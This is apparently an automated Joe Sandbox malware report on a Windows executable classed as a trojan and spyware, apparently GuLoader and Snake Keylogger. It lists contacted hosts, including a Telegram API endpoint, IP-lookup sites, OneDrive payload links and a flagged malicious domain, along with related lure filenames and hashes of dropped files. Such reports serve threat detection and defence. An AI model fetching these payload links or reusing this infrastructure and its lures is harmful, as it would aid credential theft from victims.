https://api.onedrive.com/v1.0/shares/s	________.exe, 00000003.00000002.3954718526.00000000025F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	________.exe	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fa2ytg.dm.files.1drv.com/y4mMPMXGbTpZA5YgHaTE31Fc-Wg6Iu9gpthjDJlQ5ie3dz395ZMCu5rd38cOpuGMXl4	________.exe, 00000003.00000003.1735612317.0000000002628000.00000004.00000020.00020000.00000000.sdmp, ________.exe, 00000003.00000003.1735530271.0000000002628000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore?hl=enlB	________.exe, 00000003.00000002.3975771250.0000000032F1B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	________.exe, 00000003.00000002.3975771250.0000000032E49000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3975771250.0000000032DAE000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3975771250.0000000032E1F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	________.exe, 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fa2ytg.dm.files.1drv.com/y4m_K24I_IZwtc1os-c0UOoxdtzKrradsOM2iRZNEMhYqB_oUmwpewHC2hedgX3rXjZ	________.exe, 00000003.00000003.1735530271.0000000002628000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	________.exe	false		high
https://reallyfreegeoip.org/xml/	________.exe, 00000003.00000002.3975771250.0000000032DAE000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	false
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
37.27.123.72	foodex.com.pk	Iran (ISLAMIC Republic Of)	39232	UNINETAZ	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554160
Start date and time:	2024-11-12 07:35:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	________.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/9@7/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 191 Number of non-executed functions: 126
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.42.12
Excluded domains from analysis (whitelisted): odc-dm-files-geo.onedrive.akadns.net, odc-dm-files-brs.onedrive.akadns.net, l-0003.l-msedge.net, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, common.be.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, dm-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, ctldl.windowsupdate.com, odc-commonafdrk-geo.onedrive.akadns.net, odc-commonafdrk-brs.onedrive.akadns.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:36:49	API Interceptor	8630453x Sleep call for process: ________.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	https://www.bing.com/ck/a?!&&p=35f7ac11749086c457664a8010a84bc638d369283c719578d3701e6e769d80e3JmltdHM9MTczMDg1MTIwMA&ptn=3&ver=2&hsh=4&fclid=33680f6e-3a94-6c3f-27a6-1a423bb96ddc&psq=site%3Ahttps%3A%2F%2FChiefOfStaff.site&u=a1aHR0cHM6Ly93d3cuY2hpZWZvZnN0YWZmLnNpdGUvd2hhdC1hcmUtdGhlLWtleS1wcmluY2lwbGVzLW9mLW9wZXJhdGlvbnMtbWFuYWdlbWVudA#taehwan.lee@hdel.co.kr	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse
	1731350144bd4661a80b2f6df430a3ec80a1cea4bfcea08062cabca8156532cd5eb6ec3f57216.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Factura Honorarios 2024-11-04.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	CERTIFICADO TITULARIDAD.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Quotation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	BYi52hdbpP.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Request for Quotation MK FMHS.RFQ.24.11.07.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	ungziped_file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
188.114.97.3	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	qegyhig.com/login.php
	7ObLFE2iMK.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	UMwpXhA46R.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	qegyhig.com/login.php
	7DAKMhINGk.exe	Get hash	malicious	Simda Stealer	Browse	qegyhig.com/login.php
	Scan112024.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	paste.ee/d/E2K3h
	fHkdf4WB7zhMcqP.exe	Get hash	malicious	FormBook	Browse	www.figa1digital.services/zjtq/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	HALKBANK.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	1731350144bd4661a80b2f6df430a3ec80a1cea4bfcea08062cabca8156532cd5eb6ec3f57216.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Curriculum Vitae Estrella Torres.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Factura Honorarios 2024-11-04.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	CERTIFICADO TITULARIDAD.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	CkHXjQGPA5.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QNiXvaE3ps.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	N8Sriy2UsP.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Ref#130709.vbe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
checkip.dyndns.com	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	HALKBANK.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	1731350144bd4661a80b2f6df430a3ec80a1cea4bfcea08062cabca8156532cd5eb6ec3f57216.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Curriculum Vitae Estrella Torres.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Factura Honorarios 2024-11-04.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	CERTIFICADO TITULARIDAD.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	CkHXjQGPA5.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	QNiXvaE3ps.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	N8Sriy2UsP.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
api.telegram.org	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	https://www.bing.com/ck/a?!&&p=35f7ac11749086c457664a8010a84bc638d369283c719578d3701e6e769d80e3JmltdHM9MTczMDg1MTIwMA&ptn=3&ver=2&hsh=4&fclid=33680f6e-3a94-6c3f-27a6-1a423bb96ddc&psq=site%3Ahttps%3A%2F%2FChiefOfStaff.site&u=a1aHR0cHM6Ly93d3cuY2hpZWZvZnN0YWZmLnNpdGUvd2hhdC1hcmUtdGhlLWtleS1wcmluY2lwbGVzLW9mLW9wZXJhdGlvbnMtbWFuYWdlbWVudA#taehwan.lee@hdel.co.kr	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	149.154.167.220
	1731350144bd4661a80b2f6df430a3ec80a1cea4bfcea08062cabca8156532cd5eb6ec3f57216.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Factura Honorarios 2024-11-04.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	CERTIFICADO TITULARIDAD.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Quotation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	BYi52hdbpP.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Request for Quotation MK FMHS.RFQ.24.11.07.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ungziped_file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Scan112024.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	https://www.bing.com/ck/a?!&&p=35f7ac11749086c457664a8010a84bc638d369283c719578d3701e6e769d80e3JmltdHM9MTczMDg1MTIwMA&ptn=3&ver=2&hsh=4&fclid=33680f6e-3a94-6c3f-27a6-1a423bb96ddc&psq=site%3Ahttps%3A%2F%2FChiefOfStaff.site&u=a1aHR0cHM6Ly93d3cuY2hpZWZvZnN0YWZmLnNpdGUvd2hhdC1hcmUtdGhlLWtleS1wcmluY2lwbGVzLW9mLW9wZXJhdGlvbnMtbWFuYWdlbWVudA#taehwan.lee@hdel.co.kr	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	149.154.167.220
	1731350144bd4661a80b2f6df430a3ec80a1cea4bfcea08062cabca8156532cd5eb6ec3f57216.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Factura Honorarios 2024-11-04.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	CERTIFICADO TITULARIDAD.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Quotation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	BYi52hdbpP.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Request for Quotation MK FMHS.RFQ.24.11.07.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ungziped_file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.67.152
	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	https://login.ocsgroup.com.mx/global/employee?user_id=DoFjJTOXrEySD0w_AN5X5CnN_jKgmQ-62fmUaqLwe1mjA5n_sht8bM4gHHi97AmLcwpN7hYmIxQBjkE9CyfZa5CdVasJGlMIE2D58io	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	https://secure_sharing0documentpreview.wesendit.com/dl/UXseZ6Oj8WT8cWxHq/bXVoYW1hZC5hZGkubXVxcmlAc2ltZWRhcmJ5LmNvbQ	Get hash	malicious	Unknown	Browse	104.21.30.157
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	https://sv-management.solarflevoland.nl/wix	Get hash	malicious	Unknown	Browse	104.16.124.96
CLOUDFLARENETUS	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.67.152
	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	https://login.ocsgroup.com.mx/global/employee?user_id=DoFjJTOXrEySD0w_AN5X5CnN_jKgmQ-62fmUaqLwe1mjA5n_sht8bM4gHHi97AmLcwpN7hYmIxQBjkE9CyfZa5CdVasJGlMIE2D58io	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	https://secure_sharing0documentpreview.wesendit.com/dl/UXseZ6Oj8WT8cWxHq/bXVoYW1hZC5hZGkubXVxcmlAc2ltZWRhcmJ5LmNvbQ	Get hash	malicious	Unknown	Browse	104.21.30.157
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	https://sv-management.solarflevoland.nl/wix	Get hash	malicious	Unknown	Browse	104.16.124.96
ORACLE-BMC-31898US	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	HALKBANK.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	1731350144bd4661a80b2f6df430a3ec80a1cea4bfcea08062cabca8156532cd5eb6ec3f57216.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Curriculum Vitae Estrella Torres.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Factura Honorarios 2024-11-04.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	sora.mips.elf	Get hash	malicious	Mirai	Browse	152.67.126.107
	CkHXjQGPA5.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	QNiXvaE3ps.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Ref#130709.vbe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	HALKBANK.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	1731350144bd4661a80b2f6df430a3ec80a1cea4bfcea08062cabca8156532cd5eb6ec3f57216.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Curriculum Vitae Estrella Torres.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Factura Honorarios 2024-11-04.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	CERTIFICADO TITULARIDAD.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.220
	https://u34251876.ct.sendgrid.net/ls/click?upn=u001.ordJ57g0HVndDa8Km-2BVUUFN1eIn5tdzIxrKbgsGfF9eVdl7b-2Fab-2BrUBdfIXH9yijR5LLM7kgivkgUI3nC3VajM00UDrq4ekI2XREqo0QmHcHyDyYWomvx9-2FHEtQ3o5rBM9AHzVSsjnwFSEJqic-2BEtw-3D-3DBxNa_qINdfz5Lp8EahgxJXfgGV-2Bk7caEgTUs2gtUTKNMgBkZ9mbVIMd-2B1UUN0TqdRRGrocW81C18onNWNx5Y6KM88Rr7odKCqMhALUPuUbXGlkOo01sEKeKdphXRhykHXKfSB-2By1s-2BNAgCL9-2BbtY8LNaKNV0sXQnlv-2F9fA-2BLZtaeadaVGHb32bFHhcOwS3ltfr2dig92MY6M8DrwwYiolgI1k4Q-3D-3D	Get hash	malicious	Unknown	Browse	149.154.167.220
	1731350144bd4661a80b2f6df430a3ec80a1cea4bfcea08062cabca8156532cd5eb6ec3f57216.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	AdobePDQ5.6.1.msi	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://vinculocomputer.com/run/	Get hash	malicious	Unknown	Browse	149.154.167.220
	AdobeViewerPDQ5.5.msi	Get hash	malicious	Unknown	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	GuLoader	Browse
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Factura Honorarios 2024-10.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Shipping documents 00039984849900044800.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Fa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	rFa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Remittance Copy For Advance Payment PO _PDF.exe	Get hash	malicious	FormBook, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsaD101.tmp

Download File

Process:	C:\Users\user\Desktop\________.exe
File Type:	data
Category:	dropped
Size (bytes):	2218188
Entropy (8bit):	2.986726085961109
Encrypted:	false
SSDEEP:	12288:8W6Gb40pbjQAl/O9uVl3T+lo65mFvCb/fSQd8rRd:8W6GsAjQ2mYV905evY/6Rf
MD5:	96D283A2382E1FB51AFB38BA1E81E26C
SHA1:	FA0CDB7DE06897D81D6DF6463883E72FD73F63F7
SHA-256:	4AB5BD9941534EC0F4EB155FF57002632A69C75D5BB602C13132A3D23D5BA07B
SHA-512:	4157227C87ABBABAB23A68F6DE472FDAC1A582BD96E7A7604520F1B7C70A994B586324EFD41F2AE83E087E5D667A9035042CCEA40F500F0AB1CA8F83FCAD1A9E
Malicious:	false
Reputation:	low
Preview:	.B......,.......,.......D...............:A......8B..........................................................................................................................................................................................................................................G...J...............h...............................................................g...............................................................j...............................................................................................................................+...........;...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nshD4CB.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\________.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.801108840712148
Encrypted:	false
SSDEEP:	192:e/b2HS5ih/7i00eWz9T7PH6yeFcQMI5+Vw+EXWZ77dslFZk:ewSUmWw9T7MmnI5+/F7Kdk
MD5:	FC90DFB694D0E17B013D6F818BCE41B0
SHA1:	3243969886D640AF3BFA442728B9F0DFF9D5F5B0
SHA-256:	7FE77CA13121A113C59630A3DBA0C8AAA6372E8082393274DA8F8608C4CE4528
SHA-512:	324F13AA7A33C6408E2A57C3484D1691ECEE7C3C1366DE2BB8978C8DC66B18425D8CAB5A32D1702C13C43703E36148A022263DE7166AFDCE141DA2B01169F1C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Snurrevoddenes.exe, Detection: malicious, Browse Filename: Eksistensberettigelsernes102.exe, Detection: malicious, Browse Filename: ALI HASSO - P02515 & P02518.exe, Detection: malicious, Browse Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse Filename: Factura Honorarios 2024-10.exe, Detection: malicious, Browse Filename: Shipping documents 00039984849900044800.exe, Detection: malicious, Browse Filename: Fa24c148.exe, Detection: malicious, Browse Filename: rFa24c148.exe, Detection: malicious, Browse Filename: Remittance Copy For Advance Payment PO _PDF.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....oS...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...x....@.......&..............@....reloc..>....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\foreslaaende\Kedlernes.vid

Download File

Process:	C:\Users\user\Desktop\________.exe
File Type:	data
Category:	dropped
Size (bytes):	243457
Entropy (8bit):	1.2556862555304324
Encrypted:	false
SSDEEP:	768:BObeQfxNU+OmdH9zR+FY73WLYZLbReg24pPjHp5IIHLP96H7ub2g9zEQyhOrqjUC:EfpiYZgCO4zTJJEQ56XsZ3W
MD5:	2C2AECA05F67661A0A6798FD3DA68257
SHA1:	43140C33EE2A2C3B729CFDE53AD2A7E4D2436BBB
SHA-256:	568B8DEE1985CEAFE404B08549F7363DD53A667C7A2BDF80CA8C57BA7ED9FDA0
SHA-512:	F833EF465CFDB410BE15E2D647DFFA91C3787D19E6155B7F33F2A3127368A20C35B15442AA9C5FE5953E85DCA80DB843E530705AC22E5A19ABDB604EF85EC81C
Malicious:	false
Reputation:	low
Preview:	................................K............H.......................................#............,..............................................................................g..........................>...................3..............................P.../......................-................'.........................H...........................................................G...................................................g..................B.....'.....................>....................................v.........................................:.....................................S..............................._.............................................y.......................................E.......i.............................!...........M..X.......................................................{...$..............................g.....[.........................................=.................7..............-...............................................g.......

C:\Users\user\AppData\Local\foreslaaende\Kontaktformidlingens.unm

Download File

Process:	C:\Users\user\Desktop\________.exe
File Type:	DIY-Thermocam raw data (Lepton 3.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 36028797018963968.000000
Category:	dropped
Size (bytes):	370481
Entropy (8bit):	1.2536250775230349
Encrypted:	false
SSDEEP:	1536:KsTb+NlXRBRrADr1ILH0FvruLfYOL3u4cF:rCNRRsY0FDSQaQ
MD5:	0D9A1AE53B3662ECA9655EF20BB4E0CE
SHA1:	CA647617571F73E4FF815AC7DB91F3FF4BF170A6
SHA-256:	033C22A52C94A106582A33B0C267681B6A4EE7D668E4AA7DA9BD9D0DF05DEA1F
SHA-512:	CF89E8EE9AFB4491890D8AF3FE2F7B855C41B68DEE9746155E1E05CC0B91B390D69C0DF905FDE22E9F3580241A57B1A5050903AC32F2695AB5F6485ACB5161E8
Malicious:	false
Reputation:	low
Preview:	...~........................................x......H..........S..........d............................................................................................................m...............................R.....w...........V.........Z.................b......>........................:..................................................................................................................j..................3..b.....................*.......................P...............................................................#............<.......................................0...a........C......_..........................................................................p..{..........................K.......I.......................E..................&...................................... ............q..........+........................\|..................................e.......a..........tQ............I/.........K......................T........................................

C:\Users\user\AppData\Local\foreslaaende\Necrotize.txt

Download File

Process:	C:\Users\user\Desktop\________.exe
File Type:	ASCII text, with very long lines (401), with CRLF line terminators
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.236334007211441
Encrypted:	false
SSDEEP:	12:NRkE9FLJJzKZl6O8oMOvusjy7TVLt09BQiux:N7nLjG8oM6jMp093ux
MD5:	F9E44960FAD1DE9A72E38ED010895F2E
SHA1:	56742A285F6AF1D49A3C57941D7562B58601E072
SHA-256:	73F4D5E40CB4BBF5C59C41C8CDDB8F9F7D320470538716B66AA7796EDDB7C6C8
SHA-512:	A7642172F96CFA0C3BFDB34FA575C40BD7ECD88C43DD4DF3354AAC3A0F7C6C8709B42AC88838CD5CBB4B3AF32BB48B6A9D1D2EB77C5F55295A88876B271EF1FA
Malicious:	false
Reputation:	low
Preview:	milvago spiralfjedrenes cushier.decine myggesvrmenes deorganization.giannulas poser kloners sammenhfter femoghalvtreds abettals peripatopsidae.tetradic stoppegarner hjemgivelsen masseorganisation lanx,heddinge kricketen symptomer kinas societism avanti tropistic.sarandon mesonyx sangskriveren biblioskopernes tangram zarebas friordningen bygningsingenirs ventilationernes bambusmaattens signatarmagts..

C:\Users\user\AppData\Local\foreslaaende\Reconsecrate35.Ung

Download File

Process:	C:\Users\user\Desktop\________.exe
File Type:	data
Category:	dropped
Size (bytes):	456900
Entropy (8bit):	6.95283114468952
Encrypted:	false
SSDEEP:	6144:lBahjMqcVGbP4t0p20jQAdX/O9u3zZERyl3BOg16nXVo65mB:DW6Gb40pbjQAl/O9uVl3T+lo65mB
MD5:	12C496943A29DCF170BDE98D58822B0E
SHA1:	CEF5BAF827A17A114C4B7F40F648B8F32DDF38FD
SHA-256:	8974424451EF540534850E0EFE2D71E8E40A4669E43337E8FB1DBEDEAB46C7AE
SHA-512:	29F9428F5F50E665070474715F6E7ACD9DA5267B459779AFDA0F4B8FF3E72EB9604E49C9B47F076E5F69DD8BAC75D398180F38AE0824F4EA863F4A73EB9E6B2D
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\foreslaaende\Sluggardliness\spelts.tru

Download File

Process:	C:\Users\user\Desktop\________.exe
File Type:	data
Category:	dropped
Size (bytes):	424812
Entropy (8bit):	1.2532745203430722
Encrypted:	false
SSDEEP:	768:zQN1zNkWceUPEvf5mtuQTyT0Vupr6jgDTslr7WSn3Dpbvj33BIUaE6SKCBLnSOXQ:6GkbAmorbpf6nP6e6RlY8R2KNsyB
MD5:	A8D5999B820E9BA7EC8AE02AC64BD740
SHA1:	162064D1816D6723954401E5FF406FB815B1FF01
